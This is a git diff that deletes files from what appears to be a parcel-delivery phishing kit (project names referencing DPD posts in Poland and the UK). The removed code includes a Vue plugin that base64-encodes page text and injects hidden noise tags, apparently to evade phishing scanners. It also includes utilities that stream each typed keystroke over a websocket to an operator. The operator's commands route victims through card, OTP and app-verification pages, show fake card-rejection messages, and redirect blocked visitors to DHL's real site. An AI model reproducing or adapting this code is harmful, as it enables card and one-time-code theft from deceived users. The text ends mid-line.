visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/a1_pl_dpd_post/src/utils/common.ts.backup b/a1_pl_dpd_post/src/utils/common.ts.backup deleted file mode 100644 index 974ddab..0000000 --- a/a1_pl_dpd_post/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/header.html"); - footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/a2_uk_dpd_post/src/components/HelloWorld.vue b/a2_uk_dpd_post/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/a2_uk_dpd_post/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/a2_uk_dpd_post/src/components/TheWelcome.vue b/a2_uk_dpd_post/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/a2_uk_dpd_post/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a2_uk_dpd_post/src/components/WelcomeItem.vue b/a2_uk_dpd_post/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/a2_uk_dpd_post/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/a2_uk_dpd_post/src/main.ts b/a2_uk_dpd_post/src/main.ts index fb9aaa3..bd65a08 100644 --- a/a2_uk_dpd_post/src/main.ts +++ b/a2_uk_dpd_post/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => { VueScrollTo.scrollTo("#app", 0); next(); }); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/a2_uk_dpd_post/src/mix/textObfuscator.ts b/a2_uk_dpd_post/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/a2_uk_dpd_post/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/a2_uk_dpd_post/src/utils/common.ts.backup b/a2_uk_dpd_post/src/utils/common.ts.backup deleted file mode 100644 index 043ec9c..0000000 --- a/a2_uk_dpd_post/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => 